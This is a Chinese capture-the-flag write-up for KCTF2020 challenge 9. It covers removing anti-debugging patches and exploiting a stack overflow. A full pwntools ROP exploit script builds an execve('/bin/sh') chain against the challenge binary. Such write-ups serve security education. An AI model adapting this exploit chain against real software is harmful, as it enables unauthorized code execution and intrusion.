首页
社区
课程
招聘
[原创] KCTF2020 秋季赛 第九题 命悬一线
2020-12-15 00:31 6408

[原创] KCTF2020 秋季赛 第九题 命悬一线

2020-12-15 00:31
6408

运行就提示要在docker里跑,打开main看看也没发现啥,看看init,fini。

 

init_array里有个函数有反调试的逻辑,检查TracerPid,如果没被调试就patch一个关键函数。这个函数没被patch的话就是个算数运算,可能导致除0异常。如果被patch的话,就会变成一个syscall。后续的ptrace,read,write都是通过调用这个syscall。

 

搞清楚这一点后,把这一处检查是否调试的地方patch掉。

 

然后,从main函数看起。

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int v4[6]; // [rsp+20h] [rbp-30h]
  unsigned __int64 v5; // [rsp+38h] [rbp-18h]
 
  v5 = __readfsqword(0x28u);
  test_ptrace();
  read_inp(v4);
  copy_input_to_stack(v4, input_buf_512);       // 漏洞就在这里...栈溢出
  destructor(v4);
  sub_400DFC();
  return 0LL;
}

第一个函数判断是否能ptrace,不能的话,就可以继续运行题目,要不然就告诉你去docker。

 

尝试qemu就可以跑,qemu好像是没实现ptrace,所以可以过掉这个check。为了能直接调试,把这处也patch掉。

 

之后就是把输入读到bss。

 

然后把bss的输入copy到stack上。然后这里有个栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall copy_input_to_stack(char **a1, char *input)
{
  __int64 v2; // rcx
  char buf_68[96]; // [rsp+10h] [rbp-70h]
  unsigned __int64 v5; // [rsp+78h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  memset(buf_68, 0, sizeof(buf_68));
  v2 = *(a1 + 2);
  copy_from_bss(a1, buf_68, input);
  (*(*a1 + 3))(a1, buf_68);                     // sub_4016CC(a1, &a2)
                                                // 作用:输出 KanXue END!
 
  return __readfsqword(0x28u) ^ v5;
}

但有canary,一时不知道怎么办,但一想就这么一个输入点。就测一下,发现长度大于160的时候可以控制PC了。

1
2
3
4
5
6
7
8
.text:0000000000401699                 call    copy_from_bss
.text:000000000040169E                 mov     rax, [rbp+a1]
.text:00000000004016A2                 mov     rax, [rax]
.text:00000000004016A5                 add     rax, 18h
.text:00000000004016A9                 mov     rax, [rax]
.text:00000000004016AC                 mov     rdx, [rbp+a1]
.text:00000000004016B0                 mov     rdi, rdx
.text:00000000004016B3                 call    rax

然后因为有execve,所以getshell的方式就想着用execve起sh,但转了一圈,发现RCX比较难控制。

 

之后想着SROP一下,发现SROP需要的空间200大几,有点太长了,程序读超过255就会提前crash了,不太行。

 

然后还是找找怎么控制rcx,搜到一个这个,将就着用吧。

1
0x0000000000400b2b : sub ecx, dword ptr [rax - 0x77] ; ret

然后就可开开心心execve了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level='debug'
p = process('./pwn1_patch2')
# gdb.attach(p,"b * 0x4016a6")
leave_ret = 0x0000000000400bbd
bss = 0x6020c0
 
pop_rdi= 0x0000000000401863
pop_rsi_r15 = 0x0000000000401861
pop_r13_r14_r15 = 0x000000000040185e
sub_ecx = 0x0000000000400b2b
 
mov_eax_rbp_0x14_pop_rbp_ret = 0x00000000004017f5
 
 
payload = p64(leave_ret)
payload += p64(bss+0x88+0x14)
payload += p64(pop_rdi)
payload += p64(0x3b)
payload += p64(pop_rsi_r15)
payload += p64(bss+8)
payload += p64(0)
payload += p64(mov_eax_rbp_0x14_pop_rbp_ret)
payload += p64(bss+168)
payload += p64(0x4016ac)
 
 
payload = payload.ljust(112,'C')
payload += p64(0x6020c0+8) # rbp
payload += p64(leave_ret)
payload += p64(0)
 
payload += p64(0x400bbd)
payload += '/bin/sh\x00'
payload += p64(0x602217)
payload = payload.ljust(160,'A')
payload += p64(bss-0x18)
payload += p64(0x602150+0x14+8) # rbp
payload += p64(pop_rdi)
payload += p64(0x3b)
payload += p64(pop_rsi_r15)
payload += p64(0x602150) # binsh addr
payload += p64(0)
payload += p64(mov_eax_rbp_0x14_pop_rbp_ret)
payload += p64(0xa8)
payload += p64(sub_ecx)
# sub ecx, dword ptr [rax - 0x77] ; ret
payload += p64(0x4017d0) # syscall
 
p.send(payload)
p.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回